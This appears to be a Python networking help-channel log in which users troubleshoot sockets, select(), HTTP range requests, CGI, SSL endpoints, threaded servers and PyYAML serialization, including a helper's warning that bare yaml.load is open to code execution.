can someone explain why this is happening
Code example please π
1 min
π
from select import select
import socket, ssl
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("r7---sn-ci5gup-civl.googlevideo.com", 443))
sock = ssl.create_default_context().wrap_socket(sock, server_hostname="r7---sn-ci5gup-civl.googlevideo.com")
sd=b'GET /videoplayback?expire=1606172859&ei=W-y7X5rNN4KA3LUPjNODqAw&ip=182.70.207.120&id=o-ALAW3XS-F5NkXG6hCCy8sz_ZLO3BR-Y4lqICYvUj0uLn&itag=249&source=youtube&requiressl=yes&mh=Qj&mm=31%2C29&mn=sn-ci5gup-civl%2Csn-ci5gup-cvh6&ms=au%2Crdu&mv=m&mvi=9&pl=20&initcwndbps=686250&vprv=1&mime=audio%2Fwebm&ns=H6abwGooMAuxasdpeqYu78sF&gir=yes&clen=1761689&dur=238.401&lmt=1575000085199158&mt=1606151093&fvip=1&keepalive=yes&c=WEB&txp=5531432&n=qSbCGd9G8NAVxsW&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Cvprv%2Cmime%2Cns%2Cgir%2Cclen%2Cdur%2Clmt&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=AG3C_xAwRQIgYbzK1flaQqHf4cHMdBtSPi43MhFlFXc-TXfzW8RnjAYCIQC2-FdQgAOMj7a6JVsJd_GPbCgVQmf0xUVk9apJtk-DPQ%3D%3D&sig=AOq0QJ8wRAIgPjGwQ2-ogiOqoJLZuJKsySOBxNhWXioN97fjsA_d0VYCIFYgsJfDorOPs7wqBloXc-PQNw4ktg4nJxfb_d-aBA5T&ir=1&rr=12 HTTP/1.1\r\nhost: r7---sn-ci5gup-civl.googlevideo.com\r\nuser-agent: MayankFawkes/bot\r\nconnection: close\r\nrange:bytes=0-1761689\r\n\r\n'
sock.send(sd)
header, data = sock.recv(2048).split(b"\r\n\r\n")
while True:
s = select([sock],[],[],5)[0]
if sock in s:
d = sock.recv(2048)
if not d:break
data+=d
else:break
print(len(data))
@clear bobcat
How about Content-Range and Content-Length headers? https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests#Requesting_a_specific_range_from_a_server
Content-Range is server like means server will response with Content-Range header
and yes i didnt add Content-Length becuase there is no data or payload in my requests just simple get request
Maybe I missed something - as far as I understand Range: bytes=0-x header informs server that I want bytes from index 0 to index x so if server returns less than x it means to me that there is less data than I think
So what is the point?
so you mean server has only 1755136 bytes and when i am calling 1761689
Just try to get range 0-1023 and check value of Content-Range header
Content-Range should contain information about whole document size
@clear bobcat yes when i am using 0-100
its returning perfect bytes
but when i started asking for large
like 200kb
it stoped
and sending incomplete data
wanna check my response header ?
You can paste it here
So maybe server has some kind of protection againts large chunks?
it says hey man we are sending Content-Range: bytes 0-440320/1761689 this data
but check the len(data)
its only 428032
12288 bytes clearly missing
but when i am making the same request with burp its actully returning the correct data and same length
me be something wrong in my code
i want joe here but dont wanna be anonying by tagging him
π©
Maybe it's a stupid question (because I am not master of headers and so on) but Content-Length includes header information?
How about len(header) + len(data)?
yes i got your point but no
Content-Length only includes the data/payload attached to it
Oh okay... So the only place that there is something wrong is receiving and joining data together
i found it now
its in the select
look when i am using high chunk size i actully got a lot data
but also when i removed
Yay, nice
when i removed select it actully gave me the actully correct bytes lol
I didn't like this select from the start but I never used it
Feeling like a nice rubber duck 
select is IO and it helps in breaking in code when there is no data
like now i code is not end and still waiting for
recv
120s for this
this is why i was using select to break when server stoped sending the data
any idea how i can break ?
Idk. Maybe some timer?
Mhmmm 
And use chunk size as power of 2
yes now i am using
1024*5
still stuck
its not sending the null byte in the end
this is why
What null byte? It shouldn't because whole document has 1761689 bytes length
yes but server already return b""
in the end
this is google's server kinda complicated lol
@clear bobcat
wait until ready for reading
and there is timeout in the end
tbh this is looking a bug in python
rofl
select.select return tuple of three lists
Your condition is x in y where y is tuple
yes i know its returns the tuple
file = open("somefile", "rb")
print(select.select([file], [], [], 1.0)) # returns ([<_io.BufferedReader name='somefile'>], [], [])
s = select([sock],[],[],5)[0]
No, I mean that I skipped this [0] because I am tired after job π
Idk what is the problem here, maybe this is really bug

yeah alright bro thanks for your help i guess i should use settimeout instead of select lol
π€ͺ
@gloomy root are you good with select
?
Ive only used it when routing through and recreating asyncio's selector event loop
alright then
π€
if someone read this message today or tomorrow and also good with select please tag me
honestly for what you're doing id recommend using asyncio for this
and using something like asyncio's protocol system rather than manually implementing the selector system
because although asyncio is complicated its not as complicated as managing selectors directly
in here i cant use asyncio
how come
what about it
its like 10 lines
just rewrite it
the protocol system will make it cleaner overall anyway
Is there a place to get 1 on 1 tutor for anisble/python?
How do you send to all sockets using threading ;_;
Hey anyone free to help?
Hello , Im hosting a service on a cloud instance ( kubernetes cluster to be specific) , so I give an image to my cloud host and he does the hosting , so now I want to have multiple instances of the service ( multiple containers). is there some way I can increase the number of containers that I need for the service?
What do you need?
Okay so I'm new to networking and I've been trying to make a chat app in python, using socket. The code I'm about to show is supposed to start a server and wait for connections. The problem is whenever I try to connect from the other PC I get this error:
[WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
The server is hosted locally on the first pc, linux ubuntu 20, and I'm trying to connect from a windows 10 PC.
server.py
import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) port = 8080 sock.bind(("ADDRESS THAT I GOT FROM IFCONFIG", port)) sock.listen(1) print("Waiting for connections... ") conn, addr = sock.accept() print(f"New connection: {addr}")
import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = input("Ip...") port = int(input("Port...")) sock.connect((host, port)) print("Connected!")
To get the address I just typed ifconfig and copied the inet ip (it's not 127.0.0.1, but i'm pretty sure i'm not supposed to show it)
Hey sorry for the late reply but needed help in running programs inside cgibin @clear bobcat
hey guys i made a multi connection downloader with sockets is anyone have time please review and give me suggestions
@rose mirage hey your code seems quite good whats wrong with it ?
that error is because you running client before starting the server
oh you think so? i am pretty sure i ran the server first then the client
it says server didnt respond in time
it means server is not running ofc
or in client you are using different port
are you using the server's public IP ?
that would be the possible reasons
you might need to port forward, in that case
i guess he is using local ip
127.0.0.1 or ip given by roughter
@rose mirage sorry for this ping but kernel closes the socket when there is no packet flow
there is timeout after 120s
oh i see, i'll keep that in mind
yes just ask
can you please be more clear
if os.path.exists(file_path):
read_end, write_end = os.pipe()
pid = os.fork()
#print("yes")
if pid != 0 :
#os.environ["HTTP_ACCEPT"] = " html/text"
os.close(write_end)
os.wait()
read_opened = os.fdopen(read_end)
inp = read_opened.read()
# os.close(r)
#print(inp)
#os.environ["HTTP_ACCEPT"] = " html/text"
x = file_open()
if "Content-Type" not in inp:
x+= "Content-Type:" + os.environ["HTTP_ACCEPT"] + "\n\n"
else:
x+= inp
clientsocket.send(x.encode())
clientsocket.close()
#print("yes1")
else:
#print("yes2")
os.close(read_end)
os.dup2(write_end, 1)
os.execl("/bin/python3", "python3" , request[1].split("/")[2].rstrip())
write_opened = os.fdopen(write_end, 'w')
need to run cgibin using web browser but the code above doesn't work for some reason
I am connected to an openvpn server. This network doesn't route my requests to outside world, I am only able to talk to the machines that are on the vpn network(this is what I intend to do, I am not having a problem). What is the difference between this vpn server and other typical vpn servers that route my data packets in technical perspective?
Is it just configuration or something to do with osi layers?
sorry about that bro i am not good in cgibin
oh ok
Hlo
i am a bignner
i have a quastion
about IEEE 802.11 Networking tecnology
how many parts are there in IEEE 802.11
just like a, b, c,
how many are ther , which one is the fastest in that
!site rules 4
4. This is an English-speaking server, so please speak English to the best of your ability.
:thonk:
Hi, I'm creating a site with a use of Python. I'd like to know how to connect HTML and Python. I need to add some conditions to my page, but can't do it. I simply don't know how...
May anyone help me?
@remote arch Django and Flask are 2 widely used Frameworks that help building a website with Python
it will become harder and harder to migrate later
and Django comes with Security packages as well, allowing for Passwords to be hashed etc. (dunno how Flask handles that)
Thank you very much, now I know what to do
Hello people!
I'm trying to send files to a server.
l = f.read(1024)
while (l):
client.send(l)
l = f.read(1024)
client.shutdown(socket.SHUT_WR)
It's working, but that last line client.shutdown ends the connection and nothing work anymore.
And if I remove that line. I am unable to do anything else, because the server doesn't know when the files ends.
I am thinking about sending the size of the file before starting sending the file.
but I know don't how I will able to detect that in the server.
f = open(data[1], 'wb')
l = conn.recv(1024)
while (l):
f.write(l)
l = conn.recv(1024)
That's my code for receving the file.
Just a simple loop.
Any idea how can I make that while loop thru the file size?
you can add a timeout to the recv calls
then it will stop once it has to wait more than, say, 1s for some data
what does conn.recv do
It receives what client.send() senbd.
hi everyone,
I wanna ask for example if I create a chat app with kivy , then If I wanna send a message to person B ( I'm person A) , and I want to target him specifically , we assume that I have a person C and D and F and .... , how can I target each of them when sending a message so the message I send get to only the person I sent to ?
anyone with a response please ?
Well, this implementation should go in the server's side. For instance, client sends to server a http request, the data could be {"content" ..., "target" ...} Then when the server receives, he sends the content to target if he's online, otherwise it can get a bit complicated and you might want to add a database system. But if you just want something simple then you can do it this way.
I am creating web server which has two different endpoints - let say port 8080 and port 9090. Clients connected to port 9090 must use SSL client certificates, clients on 8080 not.
I am using Flask currently but I can change framework ofc.
Do I need to create two Flask (or any other) instances or there is method to create two different endpoints within one application?
flask is a wsgi framework anyway but okay
if you wanna do it that way just setup Gunicorn with two sockets one for each port and set their ssl accordingly
Gunicorn can be replaced by NGINX? Or is it good enough to serve content?
you need a python webserver to run a python application
you can use nginx as a reverse proxy and do the ssl that way
I know, I am using Flask now
however you still need the two seperate sockets
Okay, I am going to check Gunicorn, thank you for response π
hello can someone help me with sockets?
conn.send("Welcome to this chatroom!")
TypeError: a bytes-like object is required, not 'str'
.send takes bytes, not string
So either add a b before the quotes or encode it to utf-8
^
thx
how do I receive data from server using select function?
I'm working in a pretty locked down environment. I'm trying to write a script that interacts with a RESTful API but I only have Python 2.6.6 available and I do not have the "requests" module/library. I cannot install anything. What are some other methods I could use to make GET requests in Python?
Hi, how to avoid pika.exceptions.NoFreeChannels?
From a uploader images service, I send a list of images each one in a message broker
to a resizer images service, which receive message, process it and upload the processed image to the cloud server
Currently I publish the processed image without close the connection
I read the max_channels in pika is 2047 channels
I would like to send from uploader service, 6 images and received them in resizer service, and when it the number is completed, close the connection and later open again to receive the other packages of images
In that way, I'll never have the max_channels busy
Or do you think are there other better ways to solve this?
you know thats python 2 and massively out dated right
It is? Oops, what would be the Python 3 alternative?
I'm currently trying to make a bi directional tcp server which is controllable via a flask server, does anyone have a rough idea how I should approach this?
I'm currently running the tcp server in a thread but i'm having problems controlling the client socket from the main thread (eg. from inside a flask route)
although this is sync only
Not sure if this is the right channel but could someone explain the root behind a 500 internal server error
Why is a tcp connection called a three way handshake?
I see that the two connect with each, and then continuously send data back and forth to each other. Are those three steps the ones which make up the threeway hand shake
so you have 2 computers x and y
and to connect, they first have to do the following:
- X sends syn packet to y
2.y sends syn/ack back to x
3.x sends ack to y
that's the handshake
and this is needed to SYNchronize sequence numbers and to ACKnowledge them
@exotic solar
Someyhing that maybe usefull for networking is tuples which are effictively read-only arrays
Need help with xmr mining pools and creating the software for it. I am paying for help HMU
what do you need help with ?
Has anyone ever used telnet and encountered the issue when typing input in the command line , the text duplicates . E.g hello world -> hheelllloo wwoorrlldd
Thank you @slender steepleThat makes more sense now
someone know how to fix?
Hi
Can anyone tell me how do I connect 3 pc's to a host in python?
Host is also a pc
Here ya go @somber locust
android? if you swipe left there's a magnifying glass and you can search for channel names
Thanks again
@sage stump you need to pass in your commands as bytes
you might want to look into tutorials for how to make an IRC bot in python
well a bot is just an IRC user, right?
yeah
so you could send it messages through PRIVMSG
i have to send a message to him and receive his answer
ok so irc.send('PRIVMSG ...') ?
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
it's in the RFC for IRC
and how i can receive his message ?
i mean, the bot just PRIVMSG's you back
once it's received the PRIVMSG you send it
then you receive that?
its for the first challenge of root-me.org
ahhh, i don't want to give you too much help then as it's a challenge
but you're on the right lines with irc.send('PRIVMSG etc
if you ctrl+f on that document and look for PRIVMSG you'll find an example of how to send the data
ok thank you bisk !
as a general helper, the method looks something like PRIVMSG <nickname> :<msg>
obviously to receive you'll want to use the .recv method for your irc variable
ok so i do : print(irc.recv(1024)) ?
remember it'll come through as encoded bytes
so you'll have to probably do something to decode it
:3
ok
i think i've given you enough info now to solve the problem
yeah thank you so much
hello i have a question
how do you capture a packet to prevent the receiver to receive it?
like how do they filter packets
Im working on a script that will tell me when specific Mac addresses connect to my AP, I want to eventually get message notifications when certain MACs connect to my AP, right now all I have is a continually updating list of MACs that are connected and a dictionary with known addresses tagged with names, I want to be able to compare the list with the dictionary items. Not sure how to do that.
Is there anyone who would be willing to help me?
you want to compare lists?
A list with items in a dictionary
Keys
so you want to compare 2?
I want to know if there is any MACs that are in the list that are in the dictionary
you could try for data in list1: if data in list2: results.append(data)
Hmm
I
how do i make my ethernet faster
any1 knows how to fetch info from a valve server?
hey everyone, I'm working on my bachelor thesis in mechanical engineering and I could use some help with a networking feature that I need to implement. Basically I need to continuously send numpy arrays back and forth between two systems, and I want it to be as fast as possible. I'm looking into using python's built in socket module for this, but I'm in over my head on this. Can anyone tell me if I'm going in the right direction?
@ember ledge yes the socket module seems right for this job, I'd say look into the documentation on the library
great, thanks. Looking into the realpython.com tutorial right now, seems to go over most of the basics
also regarding the speed, I'd say for your project, its more hardware dependent
you mean it's limited by the network itself?
yes
im sure for your project you can just say for practical use i had to use x hardware but you can maximize speeds with y hardware
yeah it's gonna be judged by mechanical engineers, I doubt they are gonna give me grief for this haha
and it's not under my control anyway, I've got to send data over a campus-wide network, maybe even a VPN
while I've got you, am I right in saying that something like http doesn't make any sense for this? for semi-continuous data transfer I mean
right now I'm planning on using a small custom data protocol to send python objects back and forth, but any standard components I could use instead of this would help a lot
I'm running into some issues connecting a python socket to a windows server. The connection is not established, and after a while the client socket times out. The server is reachable with ping, connection is good in general. Does anyone have an idea what's going on?
if possible, have you seen if the port is enabled on the firewall on the server?
I don't have admin rights myself, but I've checked the list of applications that are allowed to penetrate the firewall, and python.exe is not one of them
I'm curious though, why did you ask about a specific port being enabled? You can only give access to applications right?
hey guys, what are sockets
Low level networking interfaces
When I use requests.post to send information to webhook, can I use proxy?
yes just add the proxies={} as the argument. The dictionary should consist of the protocol (http/https), which is the key, and the value should be the proxy itself "ip:port"
Hello. So I have hosted my first minecraft server and I gave my ip with port so people can join. Are there any chance others can ddos or hack my pc in such case? If yes can you specify how. I wanna try it on my own pc on a separate pc. Can you please ping me here? Much appreciated
Pls ping me if you have figured that out
How is it related with Python?
so any one got any docs or vids on sending info thought wifi say from one drone to athouther just dm me please
"https": "http://xx:xx@xx:xx"
@narrow oak Is the https format officially correct?
or this "https": "https://xx:xx@xx:xx"
its just {"https": "ip:proxy"}
My proxy is account and password @narrow oak
I'm having some issues deciding how to create a server that handles long lasting connections and has CPU bound requests
I need to have one process available per connection, and the process will stay alive while the connection is alive
so far I haven't been able to find a library that handles this sort of situation out of the box, am I missing something?
you can try the threading module to create a new thread for each of your clients
What IP do I use to connect my socket with a different device on a different network, my router Ip?
So using a server from the socketserver library, with a threading mixin?
would the threading mixin allow spawning processes without issues?
@ember ledge yes, a device connecting to your computer from outside will need to use your router's public ip address
and you'll need to port forward
I haven't used the socketserver library myself, I mostly use the sockets library instead with the threading module but I would assume that using threading mixin would be ideal in your use case.
I'm actually thinking of using the socket library, I'm not super comfortable with it yet, but at least I wouldn't have to learn about all of the classes that come with socketserver right now
yeah, personally, I think that using the sockets library is just much easier with creating a simple server or client system.
yeah my application is definitely simple
I was just hoping there would be some library out there that would help me out with a custom application layer protocol
maybe something with basic functionality for parsing protoheaders and headers, but I guess once you're doing that sort of stuff you might as well start from scratch
anyway, I do have one more question for you if you don't mind, since you said you have some experience with threads and sockets. would you pass the client socket that you get from the listening socket to threads, or would you go about it differently?
yeah, when you accept a connection you get the client object. You would then most likely have a function like def handleClient or something which accepts the client as argument which would be the client object. You call this function as a thread so it runs 'concurrently' with all other threads and all your code for that client would go inside that function. Obviously, you can do it differently than this, you can use classes or a more object oriented approach but this was just an example. Also note that when a client disconnects it raises an exception so make sure to do some exception handling inside that function as well.
and with the threading module its literally just threading.Thread(target=handleClient, args=(client,)).start(), and you're good.
great, thank you so much
then I'll make the handleClient function instantiate the Process and then it should be smooth sailing from there
yeah, that's basically it. Good luck.
thanks π
Could someone help me set up SSL on a socket.socket object?
Somebody knows if sending data to the same connection from different threads could cause problems?
It definitely can cause problems, unless you're using locks to ensure that one thread can't start writing until the other thread finishes
@hoary sorrel ok thanks!
guys what is bbc in networikingasa
I am getting 500 internal server error while deploying my flask app to heroku can anyone help
I get this error when receiving a yaml.dump() byte string via a socket. The yaml content is: ('update',{dict})
node = self.compose_node(None, None)
File "/home/pi/.local/lib/python3.7/site-packages/yaml/composer.py", line 82, in compose_node
node = self.compose_sequence_node(anchor)
File "/home/pi/.local/lib/python3.7/site-packages/yaml/composer.py", line 110, in compose_sequence_node
while not self.check_event(SequenceEndEvent):
File "/home/pi/.local/lib/python3.7/site-packages/yaml/parser.py", line 98, in check_event
self.current_event = self.state()
File "/home/pi/.local/lib/python3.7/site-packages/yaml/parser.py", line 382, in parse_block_sequence_entry
if self.check_token(BlockEntryToken):
File "/home/pi/.local/lib/python3.7/site-packages/yaml/scanner.py", line 116, in check_token
self.fetch_more_tokens()
File "/home/pi/.local/lib/python3.7/site-packages/yaml/scanner.py", line 162, in fetch_more_tokens
self.stale_possible_simple_keys()
File "/home/pi/.local/lib/python3.7/site-packages/yaml/scanner.py", line 292, in stale_possible_simple_keys
"could not find expected ':'", self.get_mark())
yaml.scanner.ScannerError: while scanning a simple key
in "<byte string>", line 5, column 1:
!!python/tuple
^
could not find expected ':'
in "<byte string>", line 6, column 1:
- update
^
It's yaml
Error seems to be occuring when calling yaml.load(<byte string>)
wait but this error is when yaml decoding
right?
did you get ('update',{dict}) from yaml.dump
no, I first do at the client side: ```py
str.encode(yaml.dump(('update',{dict})))
and when received at server end:
content = connection.recv(1024)
dic = yaml.load(content)
error is thrown on yaml.load(content)
@storm saffron Am I doing something stupid?
I seem to be finding online that PYYaml only can do dicts by default
i really don't understand why pyyaml is producing that yaml from your input
seems like it's completely invalid
is it maybe converting "update" and {dict} seperately or something
I will try making a dict from the tuple
Good morning. I have had a question about the socket module for a long time.
Imagine that I have a server and a client and the server executes actions towards the client, but if I have multiple connections the server executes the action on all clients. How could I specify the client on the server to execute the option?
I would appreciate the help.
You'd most likely store all clients in some data type, perhaps a dictionary or list depending on how you want it represented and how you want to later refer to each client. Alternatively, if you want the same code to be run on all clients then you can use the threading module to create a new thread for each incoming client and then call that thread to a function which does the handling, but it really depends on what you want to do with the client.
@narrow oak First, thanks for responding. But reading the first option I understand that I will save an identifier in the dictionary or list, but how do I refer to it?
If it's a dictionary which is a key-value pair system you need to assign a key to each client and then the value which is most likely the client object. Then you create the dictionary by doing something like: data = dict(), then when you accept a connection data[current_client] = client and then whichever client you want to send to can later be accesed by client = data[some_number]. This is just pseudo code and you'd need to keep track of current clients and such though.
Or maybe you're exchanging some username with the client which you want to use as a key instead of numbers, which is possible too
No problem (:
holaaa
hellooo
which is the best python certificate
hello i cn hear you
hello hello
@civic wyvern DO NOT USE BARE yaml.load
its vulnerable to pickle rce
because pyyaml had the brilliant β’οΈ idea to make their yaml serialization add a bunch of random vulnerable extensions to yaml that are unsupported by literally every other yaml lib(because they're based on pickle)
use yaml.safe_load
however, this means you have to stick to what vanilla yaml provides(so no tuples)
which you should have been doing anyways
just make it a list
@storm saffron this is also the reason why its producing the weird yaml with !!python/tuple
Ahh right i forgot about that
Weird serialisation
Ironically for this case the non standard behaviour doesn't matter but the rce definitely does
@slender steeple Thanks for the info! I will imediatly change it.
Is theire a convenient way to constantly listen on a socket client, except for when you want to send data? Cause I assume that socket.recv() is blocking
im looking to get into more networking programming with python with modules like sockets does anybody know any good resources for this kind of thing?
check the pinned msg, there are also a lot of tutorials on how to create a simple chat app which I suggest you to make if you want to learn more about sockets.
i have an issue where i get wrong hostnames from an ipaddress, and upon reversing it (asking for ip thru hostname) two different devices point me to the same ip
this isnt just with this ip address, happens to several of the devices on my wlan and lan
restarted my router, but still get wrong hostnames
(pls ping me if you come up with something)
try socket.getaddrinfo() instead, that's generally better since you also get IPv6 info
it says im missing a port argument, what port do i pick???
[(<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_STREAM: 1>, 6, '', ('10.0.0.15', 8080)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_DGRAM: 2>, 17, '', ('10.0.0.15', 8080)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_RAW: 3>, 0, '', ('10.0.0.15', 8080))]
changed from 10.0.0.14 to 15 because i restarted my router to see if that helped, it didnt and now my brothers phone is offline oops
update, ive updated my router, and that seemed to help! now when i use gethostbyaddr i get the correct name, wonder why it adds a '.home' at the end trho
as of now everything has .home at the end
just a mild annoyance
so yeah everyhting works now, got the router page nexct to me and all the ifo is correct
also dont mind the blur i just noticed it was a feature and it looks cool
and it even finds new devices! π alright its 2 am night
Is there a way to listen on a socket constantly, except for when you want to send instruction. Without using a non-blocking or 2 socket solution?
well if it can't be nonblocking then it must be blocking
in which case you have to wait for the timeout or for data to be received
So if i understand correctly, i can receive in a loop with set timeout and when timeout i can send needed data over the socket?
How can i speed up selenium? My friend is trying to make a item sniper for roblox but it seems its a bit slow? How could I speed it up
@ember ledge Selenium or the test runs?
Im not sure where to post it
Selenium is an automation framework. So, may be try #unit-testing
Does anyone have experience connecting two computers directly using an ethernet cable? I have two computers on the same local network that can communicate, but I would like to circumvent the wifi router to make the connection more reliable
yeah you can usually just connect them straight
there's some weird host thing that goes on that makes it possible; if you type ifconfig or ipconfig on each computer, it'll tell you the IP addresses
alright well I guess I'll just plug them in then
Think this falls under rule 5 though
is there any good videos for learning python within a cyber security spectrum like automation scripting
Ik the fundmentals
and youtubers or udemy courses you guys suggest would be nice
Hi, I installed nmap module with pip (I also tried pip3) but I can't use nmap.PortScanner(), it says AttributeError: module 'nmap' has no attribute 'PortScanner'
pip install python-nmap?
yes
The situation is:
They make a request to have an API to be called (with a wrapper), but the response of the API has already been recorded previously and is cached in a file. No request was made to the api and the data was taken from cache.
The user requests the content of the api request and the STATUS code. (they would be assuming the api was called) What code do I send?
(I use socket module)
Hi, I connected my client to a remote raspberry server, I opened a port on the internet box (server side). I can send a message from client to server, but not from server to client.
- How to send message server to client without opening a port on client's box side?
you can't
unless you do it by having the client ask the server for what messages it needs to receive
because it does the thing i mentioned
